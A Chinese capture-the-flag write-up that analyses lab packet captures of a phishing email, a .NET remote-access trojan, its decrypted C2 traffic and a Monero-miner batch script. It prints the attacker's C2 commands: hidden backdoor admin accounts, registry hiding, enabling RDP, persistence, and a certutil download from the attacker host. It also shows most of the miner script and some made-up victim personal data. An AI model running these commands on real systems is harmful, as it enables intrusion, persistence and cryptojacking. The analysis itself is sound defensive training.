好靶场杯第一届-古法 流量包分析

色情钓鱼邮件流量分析 WriteUp

附件:攻击机.pcapng服务器.pcapng陈小明.pcapng(三台机器各自网卡上的抓包,同一个 192.168.39.0/24 网段)+ sslkeys.log(TLS 会话密钥,用来解密 C2 的 HTTPS 流量)。

工具:Wireshark 4.6(手工看图)、tshark(命令行批量提取)、Python 3(解码 base64/XOR)、记事本(看 bat)。

先给结论表,后面是每一步怎么操作、怎么验证。

答案速查

题目 flag
攻击者操作系统主机名 flag{kali}
攻击者 IP flag{192.168.39.88}
受害者配置的所有 IP(从小到大) flag{192.168.39.92,192.168.39.144,192.168.39.150,192.168.39.152}
邮件服务器 IP_域名 flag{192.168.39.138_mail.jiujiu.com}
邮件软件,SMTP端口,POP3端口 flag{Postfix/Dovecot,25,110}(SMTP 是 Postfix,POP3 是 Dovecot;平台若只收单个名字就试 flag{Postfix,25,110}
EHLO 声明的传输加密方式 flag{STARTTLS}
受害者计算机名 flag{WIN-5CNHCFAIMP9}
DHCP 分配的默认网关 flag{192.168.39.2}
钓鱼邮箱 flag{tiantian@jiujiu.com}
受害者邮箱 flag{chenxiaoming@jiujiu.com}
受害者 POP3 密码 flag{chenxiaoming123}
tiantian POP3 密码 flag{Mail#Jiujiu2026}
受害机 POP3 登录次数 flag{20}
tiantian 发送邮件总数 flag{18}
最大邮件 SIZE(字节) flag{9139617}
带"上门服务.exe"附件的邮件主题 flag{你的上门服务哦!}
第一封钓鱼邮件主题 flag{哥哥}
社工邮件中 PNG 图片数 flag{5}
木马自我复制路径,伪装进程名 flag{C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe,WmiPrvSE.exe}
上门服务.exe 的 SHA256 flag{4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656}
样本开发框架 flag{.NET Framework}(C# WinForms,CLR v4.0.30319)
PE 子系统类型 flag{0x0002}
C2 通信 HTTP Content-Type flag{application/x-www-form-urlencoded}
忽略 TLS 证书校验的属性全名 flag{ServicePointManager.ServerCertificateValidationCallback}
心跳 Sleep 最短毫秒数 flag{3000}
C2 回连端口 flag{8443}
C2 备用端口 flag{4443}
C2 TLS版本_密码套件 flag{0x0303_0xc030}
C2 JA3 指纹 flag{43016d7f7f9336b17c884650d0d2545d}
心跳包 POST 路径 flag{/s}
心跳包机器标识 body flag{id=WIN-5CNHCFAIMP9&s=1}
/h 上线初始信息 flag{id=WIN-5CNHCFAIMP9,user=Administrator,os=Microsoft Windows NT 6.2.9200.0}
结果回传 POST 路径 flag{/r}
whoami 执行结果 flag{win-5cnhcfaimp9\administrator}
/h 中 OS 完整标识 flag{Microsoft Windows NT 6.2.9200.0}
隐藏后门账户数量和用户名 flag{2,yue,yue$}
yue 账户密码 flag{Aa123456!@}
隐藏账户的注册表(路径,键名,类型,数值) flag{HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList,yue$,REG_DWORD,0}(yue 也以同样方式藏了,键名 yue)
受害者手机号,身份证,住址 flag{138-5710-2026,330106199508151231,浙江省杭州市西湖区文一西路888号星月交响小区5幢2单元801室}
木马功能与命令字(a-z 排序) flag{cam:摄像头拍照,exec:远程命令执行,get:文件下载,info:信息收集,kill:自毁退出,ps:进程列表,screen:屏幕截图}
截图 API,图片格式,编码 flag{BitBlt,JPEG,Base64}
BitBlt dwRop 常量 flag{0x00CC0020}
WindowsUpdate.bat 计划任务名 flag{WindowsRuntimePlatformUpdate}
矿池地址:端口 flag{xmr.cryptonight-hub.com:443}
挖掘的加密货币 flag{Monero}(门罗币 XMR)
挖矿算法 flag{RandomX}
钱包地址 flag{49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ}
挖矿 pass 字段 flag{RTPlatformSvc}
挖矿安装目录(环境变量) flag{%APPDATA%\Microsoft\Windows\RuntimePlatform}
计划任务执行频率(每隔几小时) flag{2}
挖矿脚本隐藏自身的技术 flag{attrib +h}(给目录和文件加隐藏属性)
C2 下载挖矿脚本用的内置命令及参数前缀 flag{certutil -urlcache -split -f}
投递 IP 与 C2 IP 是否同一 是,flag{192.168.39.88}
受害主机发起 C2 的源 IP flag{192.168.39.152}
心跳包(POST /s)总数 flag{689}
WIN-5CNHCFAIMP9 网卡数量 flag{4}

一、先搞清楚谁是谁(主机名 / IP / 网关)

三个包是同网段三台机器上的抓包,先把 IP 和角色对上。最快的方式是看 DHCP 和 NBNS。

命令行(在题目目录下开 cmd):

复制代码
tshark -r 攻击机.pcapng -Y dhcp -T fields -e ip.src -e dhcp.option.hostname

输出里能看到:

复制代码
192.168.39.88   kali
192.168.39.138  mail
192.168.39.144  WIN-5CNHCFAIMP9
192.168.39.150  WIN-5CNHCFAIMP9
192.168.39.152  WIN-5CNHCFAIMP9
192.168.39.92   WIN-5CNHCFAIMP9

角色直接清楚了:

  • 192.168.39.88 = kali = 攻击机(主机名 kali)
  • 192.168.39.138 = mail = 邮件服务器
  • WIN-5CNHCFAIMP9 = 受害者(陈小明),一台机器 4 块网卡 4 个 IP:.92 / .144 / .150 / .152

手工验证(GUI):Wireshark 打开 攻击机.pcapng,过滤器输 dhcp,点开第一个包(192.168.39.88 发的 DHCP Request),展开 Dynamic Host Configuration ProtocolOption: (12) Host Name,值是 kali

默认网关看 DHCP ACK 里的 Router 选项:

复制代码
tshark -r 陈小明.pcapng -Y "dhcp.option.dhcp==5" -T fields -e ip.src -e dhcp.option.router

输出 192.168.39.254 192.168.39.2 ------ DHCP 服务器是 192.168.39.254(VMware 虚拟 DHCP),分配的网关是 192.168.39.2

受害机 4 个 IP 后面还有更硬的证据:攻击者在 C2 里执行 systeminfo 的回显明确列出 4 块 Intel 82574L 网卡、4 个 IPv4 地址(见第五节),"网卡数量=4" 也是这么确认的。

二、SMTP 邮件流量(邮件服务器、双方邮箱、邮件内容)

2.1 服务器软件、域名、EHLO

攻击机发邮件走 25 端口。把第一个 SMTP 会话整个拉出来看:

复制代码
tshark -r 攻击机.pcapng -q -z follow,tcp,ascii,4

(stream 号用 tshark -r 攻击机.pcapng -Y smtp -T fields -e tcp.stream 先查;GUI 做法是过滤器输 tcp.stream==4

完整会话:

复制代码
S: 220 mail.jiujiu.com ESMTP Postfix
C: EHLO [192.168.39.88]
S: 250-mail.jiujiu.com
   250-PIPELINING
   250-SIZE 52428800
   250-VRFY
   250-ETRN
   250-STARTTLS          ← 传输加密只声明了 STARTTLS
   250-ENHANCEDSTATUSCODES
   250-8BITMIME
   250-DSN
   250-SMTPUTF8
   250 CHUNKING
C: MAIL FROM:<tiantian@jiujiu.com> BODY=8BITMIME SIZE=442
C: RCPT TO:<chenxiaoming@jiujiu.com>
C: DATA
   Subject: =?UTF-8?B?5ZOl5ZOl?=
   ...

一次拿掉好几个答案:

  • 邮件服务器:192.168.39.138,域名 mail.jiujiu.com ,SMTP 软件 Postfix(banner 自己报出来的)

  • EHLO 加密方式:STARTTLS

  • 钓鱼邮箱:tiantian@jiujiu.com ,受害者邮箱:chenxiaoming@jiujiu.com

  • 第一封邮件主题 =?UTF-8?B?5ZOl5ZOl?=,是 UTF-8 的 base64 编码,cmd 里一条命令解开(PowerShell 也行,或者用 burp 的 Decoder):

    python -c "import base64;print(base64.b64decode('5ZOl5ZOl').decode())"
    → 哥哥

2.2 邮件数量、最大体积

列出全部 MAIL FROM:

复制代码
tshark -r 攻击机.pcapng -Y "smtp.req.command==\"MAIL\"" -T fields -e tcp.stream -e ip.src -e smtp.req.parameter

数一下:tiantian@jiujiu.com 发了 18 封 (对应 RCPT TO 全部是 chenxiaoming,可再 -Y "smtp.req.command==\"RCPT\"" 验证),受害者回了 12 封。SIZE 参数里最大的是 9139617(stream 81)。

2.3 每封邮件的主题和附件

把 tiantian 的 18 个会话批量 follow 出来存文件,然后搜 Subject 和附件名:

复制代码
for %s in (4 9 15 17 18 25 35 46 49 54 63 70 76 81 82 88 303 374) do tshark -r 攻击机.pcapng -q -z follow,tcp,ascii,%s > mail\s%s.txt

(这是 cmd 的 for 语法;用 bash 就把 %s 换成 $s

解码后的主题时间线(挑重点):

顺序 stream 主题 内容
1 4 哥哥 第一封钓鱼邮件,纯文字搭讪
4 17 哥哥 带 1.png
8 25 你的小妹妹哦! 带 2.png、3.png
12 46 很纯情的哦! 带 4.png、5.png
17 81 你的上门服务哦! 带恶意附件 上门服务.exefilename*=UTF-8''%E4%B8%8A%E9%97%A8%E6%9C%8D%E5%8A%A1%2E%65%78%65,URL 解码就是"上门服务.exe")

PNG 一共 1+2+2 = 5 张(1.png 到 5.png)。grep 一下就能数:

复制代码
grep -h "image/png" mail\s*.txt | sort -u

2.4 提取"上门服务.exe"并算哈希

不用手写 base64 切割,Wireshark 可以直接导出邮件对象:

  • GUI:文件 → 导出对象 → IMF,全选保存;
  • 命令行:tshark -r 攻击机.pcapng --export-objects "imf,exported"

导出的一堆 .eml 里,9139617 字节那封就是带木马的。用 Python 的 email 库把附件剥出来:

python 复制代码
import email
msg = email.message_from_bytes(open('xxx.eml','rb').read())
for part in msg.walk():
    if 'msdownload' in part.get_content_type():
        open('上门服务.exe','wb').write(part.get_payload(decode=True))

算哈希(cmd 自带 certutil):

复制代码
certutil -hashfile 上门服务.exe SHA256
→ 4a9ed2d751acaea3317077bd774c7044bd4e8379dceace0ca8f6e0dee7160656

文件 6668800 字节,PE 头正常(MZ)。

三、POP3:双方密码和登录次数

受害者收信、攻击者收回信都走 POP3(110 端口)。服务器 banner 是 +OK Dovecot ready.,CAPA 里声明支持 SASL PLAIN LOGIN------所以密码就在线上裸奔。

看 110 端口的短包(客户端发的命令):

复制代码
tshark -r 陈小明.pcapng -Y "tcp.dstport==110 && tcp.len>0 && tcp.len<100" -T fields -e tcp.stream -e ip.src -e tcp.payload

payload 是十六进制,解开能看到每会话都是 AUTH PLAIN + 一行 base64:

  • 受害者(.92/.144/.150/.152 四个 IP 都在收信):
    AGNoZW54aWFvbWluZwBjaGVueGlhb21pbmcxMjM=\0chenxiaoming\0chenxiaoming123密码 chenxiaoming123
  • 攻击者(192.168.39.88):
    AHRpYW50aWFuAE1haWwjSml1aml1MjAyNg==\0tiantian\0Mail#Jiujiu2026密码 Mail#Jiujiu2026

登录次数按 AUTH PLAIN 出现次数数(一个会话登录一次)。受害者 4 个 IP 加起来:152 上 14 次 + 144 上 3 次 + 150 上 2 次 + 92 上 1 次 = 20 次(tiantian 自己登了 14 次收信,别混进去)。

四、解密 C2 流量(核心部分)

4.1 发现 C2

流量里受害者 192.168.39.152 反复连攻击机 192.168.39.88 的 8443 端口,全是 TLS。因为给了 sslkeys.log,直接挂密钥解密。

GUI:编辑 → 首选项 → Protocols → TLS → (Pre)-Master-Secret log filename,选 sslkeys.log,确定。

命令行验证(注意是 -o tls.keylog_file):

复制代码
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.request && tcp.port==8443" -T fields -e tcp.stream -e http.request.method -e http.request.uri

解密后全是 HTTP POST,URI 一共三种:

复制代码
689 个 /s     ← 心跳
 60 个 /r     ← 结果回传
  4 个 /h     ← 上线注册

请求头:Content-Type 固定 application/x-www-form-urlencoded,UA 伪装成 Mozilla/5.0

心跳总数就是 689/s 的个数)。源 IP 全部是 192.168.39.152(受害机 Ethernet2 那块网卡)。

4.2 /h 上线包

过滤器输 http.request.uri == "/h",点开第一个包,展开 HTML Form URL Encoded

复制代码
id   = WIN-5CNHCFAIMP9
user = Administrator
os   = Microsoft Windows NT 6.2.9200.0

(os 字段是 .NET Environment.OSVersion 的输出,所以显示 NT 6.2.9200.0 这个"马甲"标识;真实系统是后面 systeminfo 里的 Windows Server 2025。题目问"/h 中包含的操作系统版本标识",就填 Microsoft Windows NT 6.2.9200.0。)

4.3 心跳 body

随便点个 POST /s 看表单:id=WIN-5CNHCFAIMP9&s=1,这就是心跳上报的机器标识。

4.4 心跳的响应里藏着命令

这个 C2 的模式是:木马 POST /s 心跳 → 服务器在 200 OK 的 body 里返回要执行的命令 → 木马执行完 POST /r 回传结果。服务器是个 Python 写的(响应头 Server: BaseHTTP/0.6 Python/3.13.11)。

把带内容的响应全拉出来:

复制代码
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.response && tcp.srcport==8443 && http.file_data" -T fields -e tcp.stream -e http.file_data

file_data 是 hex,解开按时间顺序就是这些命令(前缀 e 是 exec 命令字):

复制代码
info
whoami
systeminfo        (连刷了 4 次)
net user
e net user yue Aa123456!@ /add
e net localgroup administrators yue /add
e net user yue$ Aa123456!@ /add
e net localgroup administrators yue$ /add
e reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v yue$ /t REG_DWORD /d 0 /f
e reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v yue /t REG_DWORD /d 0 /f
e reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
e New-NetFirewallRule -Name "RDP" ... -LocalPort 3389 ... -Action Allow
e reg add ...RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
e reg add ... /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
e netsh advfirewall firewall set rule group="远程桌面" new enable=yes
e sc config TermService start= auto
e net start TermService
e schtasks /create /tn "WindowsUpdate" /tr "C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe" /sc daily /mo 1 /st 09:00 /f
e reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe" /f
e certutil -urlcache -split -f http://192.168.39.88:8888/WindowsUpdate.bat C:\Users\yue\Downloads\WindowsUpdate.bat
sc                (截图,多次)
dir / tasklist / ipconfig /all / netstat -ano
e net user yue$   (确认账户建好了)

关键结论:

  • whoami 的结果 :对应 /r 回传是 base64 d2luLTVjbmhjZmFpbXA5XGFkbWluaXN0cmF0b3INCg==win-5cnhcfaimp9\administrator
  • 后门账户建了 2 个:yueyue$ ,密码都是 Aa123456!@,都拉进了 administrators 组
  • 隐藏账户的注册表HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList,键名 yue$(yue 也同样加了),类型 REG_DWORD,值 0------值 0 就是不显示在登录界面
  • 下载挖矿脚本用的是 certutil -urlcache -split -f,从攻击机 8888 端口的 HTTP 服务拉的,落盘到 yue 的 Downloads
  • systeminfo 回显(GBK 编码,/r 里的 exec= 字段)证实 4 块网卡、DHCP 服务器 192.168.39.254,真实系统是 Windows Server 2025 Datacenter (10.0.26100)

4.5 受害者隐私泄露

有一条 /r 回传的 info= 字段特别长,是木马把受害者自己填的信息发出去了。GBK 解码后:

复制代码
WIN-5CNHCFAIMP9&girl=欣欣&phone=13857102026&idcard=330106199508151231
&addr=浙江省杭州市西湖区文一西路 888 号星月交响小区 5 幢 2 单元 801 室
&svc=快餐一次 - 888元

即:手机号 13857102026(按题目格式写成 138-5710-2026)、身份证 330106199508151231、住址浙江省杭州市西湖区文一西路888号星月交响小区5幢2单元801室。这就是木马界面上那个假的"上门服务下单"表单钓到的数据(girl/svc 字段是他选的服务内容)。

4.6 TLS 指纹

握手不用解密就能看。过滤 tls.handshake.type==1 && tcp.dstport==8443

  • Client Hello 版本 0x0303(TLS 1.2),Server 选定的套件 0xc030(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384)
  • JA3:tshark ... -T fields -e tls.handshake.ja343016d7f7f9336b17c884650d0d2545d(753 个连接全是同一个指纹)

五、挖矿脚本 WindowsUpdate.bat

攻击机 8888 端口是个文件服务器,bat 直接导出:文件 → 导出对象 → HTTP,或者:

复制代码
tshark -r 陈小明.pcapng --export-objects "http,httpobj"

WindowsUpdate.bat 完整内容(GBK 编码,记事本直接打开就行):

bat 复制代码
set "a=WindowsRuntimePlatformUpdate"
set "b=xmr.cryptonight-hub.com"
set "d=%APPDATA%\Microsoft\Windows\RuntimePlatform"
set "f=%d%\config.json"
set "e=%d%\svchost.bat"
...
attrib +h "%d%"
copy /y "%~f0" "%e%"
attrib +h "%e%"
(echo {... "randomx":{"mode":"auto",...},"pools":[{"algo":null,"coin":"monero",
 "url":"%b%:443","user":"49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ",
 "pass":"RTPlatformSvc","tls":true,...}]})>"%f%"
attrib +h "%f%"
schtasks /create /tn "%a%" /tr "cmd /c %e%" /sc hourly /mo 2 /st 02:00 /f /ru SYSTEM /rl HIGHEST

逐项对答案:

  • 计划任务名:WindowsRuntimePlatformUpdate
  • 矿池:xmr.cryptonight-hub.com:443
  • 币种:monero(门罗币)
  • 算法:RandomX (config 里 randomx 配置块 + 这是 XMRig 的配置格式)
  • 钱包:49XnPvDkmNQSPBGKEgTRpnHfv7PZiEMVzDGmNcLHn5FyLYuFmJRLBAwMbBF1fQRHGpzCwp9hHt6NsfrSPeXQqzqZRa1p2aZ
  • pass:RTPlatformSvc
  • 安装目录:%APPDATA%\Microsoft\Windows\RuntimePlatform(自身复制成 svchost.bat + config.json)
  • 频率:/sc hourly /mo 2 = 每 2 小时,凌晨 2 点开始
  • 隐藏手法:attrib +h(目录、bat、config 全加隐藏属性)
  • 跑完 del /f /q "%~f0" 自删原始 bat

六、木马逆向(上门服务.exe)

先说工具:这文件带 CLR 头,是 .NET 托管程序 。老版本 IDA 拖进去只能看到 mscoree 的跳板壳,但 IDA Pro 9.4 自带 Microsoft.Net assembly 加载器 ------打开文件时加载对话框第一项就是它,直接 OK,IDA 会把 IL 反汇编出来,函数列表里方法名一目了然(G_XCore_StartBeaconCore_DoCmdCore_CapScrCore_Persist......)。Hex-Rays 伪代码对 IL 不可用,看图视图的 IL 就够了;当然也可以顺手用 dnSpy / ILSpy 反编译出 C# 对照(无混淆)。

PE 子系统字段在 Optional Header 偏移 0x5C 处,值 0x0002(Windows GUI) ------IDA 加载对话框或任意 PE 工具(CFF Explorer、Die)都能看。元数据版本串 v4.0.30319,即 .NET Framework 4.x,WinForms 程序 (内部名 _new.exe,引用了 System.Windows.Forms)。

结构很清楚,三个类:MainForm(假下单界面)、Core(C2 逻辑)、G(工具方法)。在 IDA 里点开类 G 的定义,静态字段 _c2 / _flag / _path / _tmp / _port / _port2 排成一排,每个字段后面跟着交叉引用(谁写的、谁读的),攻击配置等于直接摊在桌上:

6.1 字符串解密

所有敏感字符串都是 base64 形态存在静态字段里,但直接 base64 解出来是乱码------后面还过了一次 XOR。看 IDA 里 G::X 的图视图:入口处 Convert.FromBase64String,紧跟着 ldc.i4.s 0x5A 把密钥压栈:

往下翻是循环体 ldelema / ldobj / ldloc.1(0x5A) / xor / conv.u1 / stobj,出循环后 Encoding.get_UTF8().GetString() 返回。典型的 base64 + 单字节 XOR 0x5A:

翻译成人话就是:

csharp 复制代码
// G::X 的伪代码
byte[] b = Convert.FromBase64String(s);
for (int i = 0; i < b.Length; i++) b[i] ^= 0x5A;
return Encoding.UTF8.GetString(b);

用 python 复现解 4 个关键字段(字段值在 G::.cctor 里用 ldstr 逐个赋值,对着抄下来即可):

python 复制代码
import base64
def X(s): return bytes(c^0x5A for c in base64.b64decode(s)).decode()
X("a2NodGtsYnRpY3RiYg==")        # → 192.168.39.88        C2 地址
X("PDY7PSFub20ZH2huGBhq...")     # → flag{457CE24BB0A11573E62AFF22E58BC51A}  (作者埋的彩蛋 flag)
X("FzM5KDUpNTwuBg0zND41LSkGD...")# → Microsoft\Windows\WMI\WmiPrvSE.exe  落地相对路径
X("DTM0DigvKQ50Ljcq")            # → WinTrusT.tmp         临时文件名

静态构造(G::.cctor)里还有两个明文端口常量,ldc.i4 0x20FBldc.i4 0x115B,即 _port = 8443,_port2 = 4443(备用)

6.2 持久化(自我复制)

Persist()Environment.GetFolderPath(CommonApplicationData)(即 C:\ProgramData)拼上上面解出来的相对路径,把自己复制为 C:\ProgramData\Microsoft\Windows\WMI\WmiPrvSE.exe ,伪装成系统进程 WmiPrvSE.exe (WMI Provider Host),同时把文件时间戳随机拨动做时间伪装,File.SetAttributes 设为隐藏+系统。持久化一连铺了三条(Core::Persist 里三个 G::ExecHidden("schtasks.exe", ...) 看得清清楚楚):

  • 注册表 HKLM\Software\Microsoft\Windows\CurrentVersion\Run,值名 WmiPrvSE
  • schtasks /create /tn WmiPrvSE ... /sc hourly /mo 1 /f(每小时)
  • schtasks /create /tn "WmiPrvSE L" ... /sc onlogon /f(登录时)
  • schtasks /create /tn "WmiPrvSE S" ... /sc onstart /f(开机时)

这和前面 C2 里攻击者手动建的 WindowsUpdate 计划任务、SecurityHealth Run 键指向的路径完全一致,互相印证。

6.3 C2 通信细节

Wc() 构造 WebClient:编码 GBK,User-Agent: Mozilla/5.0Content-Type: application/x-www-form-urlencoded

忽略证书校验是标准的 .NET 写法(StartBeacon 里的 lambda 永远 return true):

csharp 复制代码
ServicePointManager.ServerCertificateValidationCallback = (s, c, ch, e) => true;

即属性全名 ServicePointManager.ServerCertificateValidationCallback

心跳循环(<StartBeacon>b__2):先 POST /h 上线(失败换备用端口 4443 试 5 次,异常时 Sleep 10000/15000),然后进入主循环:

csharp 复制代码
Thread.Sleep(random.Next(3000, 7000));   // 默认心跳 3~7 秒,最短 3000ms
Post(url_s, "id=" + MachineName + "&s=1");

6.4 命令字表(DoCmd 里的 switch)

命令字 别名 功能
i info 收集主机名+钓到的 girl/phone/idcard/addr/svc,POST info= 回传
p ps tasklist 进程列表
sc screen CapScr 屏幕截图
c cam CapCam 摄像头拍照
k kill CleanPersist 清持久化 + 退出(自毁)
e exec ExecRead 执行任意命令(cmd /c,15 秒超时)
g get 读文件 base64 后以 file= 回传(文件下载)

题目要求归一化 + a-z 排序:cam, exec, get, info, kill, ps, screen

6.5 截图实现

CapScr()GetDC(0) 拿屏幕 DC → CreateCompatibleDC/CreateCompatibleBitmapBitBlt 拷屏,第四个参数 dwRop = 13369376 = 0x00CC0020(SRCCOPY)Bitmap.SaveImageFormat.Jpeg 存内存流 → Convert.ToBase64String 编码后 screen= 回传。所以是:API 用 BitBlt,图片 JPEG 格式,传 C2 前 Base64 编码。

七、几个关联判断

  • 投递 IP 和 C2 IP 是不是同一个 :发邮件的是 192.168.39.88,木马连的 C2 也是 192.168.39.88(二进制里 XOR 解出来的也是它),8888 端口还挂着挖矿脚本下载。是同一台,flag{192.168.39.88}
  • C2 源 IP :所有 8443 连接都来自 192.168.39.152(受害机 Ethernet2)。
  • 心跳数http.request.uri=="/s" 计数 = 689
  • 网卡数 :systeminfo 回显 "安装了 4 个 NIC" → 4

附:常用命令备忘(方便复现)

复制代码
:: 看协议分布
tshark -r 攻击机.pcapng -q -z io,phs

:: 邮件会话列表与导出
tshark -r 攻击机.pcapng -Y "smtp.req.command==\"MAIL\"" -T fields -e tcp.stream -e ip.src -e smtp.req.parameter
tshark -r 攻击机.pcapng --export-objects "imf,exported"
tshark -r 攻击机.pcapng -q -z follow,tcp,ascii,4

:: POP3 凭证
tshark -r 陈小明.pcapng -Y "tcp.dstport==110 && tcp.len>0 && tcp.len<100" -T fields -e tcp.stream -e ip.src -e tcp.payload

:: C2 解密统计
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.request && tcp.port==8443" -T fields -e http.request.uri
tshark -r 陈小明.pcapng -o tls.keylog_file:sslkeys.log -Y "http.response && tcp.srcport==8443 && http.file_data" -T fields -e tcp.stream -e http.file_data

:: JA3 / 套件
tshark -r 陈小明.pcapng -Y "tls.handshake.type==1 && tcp.dstport==8443" -T fields -e tls.handshake.ja3
tshark -r 陈小明.pcapng -Y "tls.handshake.type==2 && tcp.srcport==8443" -T fields -e tls.handshake.ciphersuite

:: 哈希
certutil -hashfile 上门服务.exe SHA256
相关推荐
2601_962072505 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
黄俊懿6 小时前
【架构师从入门到进阶】第五章:DNS&CDN&网关优化思路——第十节:网关安全-单向加密
网络·数据库·计算机网络·安全·架构·系统架构·架构师
范什么特西11 小时前
计算机网络
计算机网络
却道天凉_好个秋12 小时前
计算机网络:DNS总结
网络·计算机网络·dns
Bruce_Liuxiaowei13 小时前
2026年8月第4周网络安全形势周报
人工智能·安全·web安全·智能体
Syc1102g13 小时前
在 Linux CentOS 系统中设置静态 IP
linux·网络·计算机网络·个人开发
HackTwoHub14 小时前
Butter_Cookie 黄油曲奇|浏览器渗透插件,云存储检测、XSS、SQL 注入一站式 Web 安全测试工具
前端·sql·安全·web安全·网络安全·自动化·xss
Sagittarius_A*14 小时前
【好靶场】报错注入-sql注入-数字型
数据库·sql·web安全·sql注入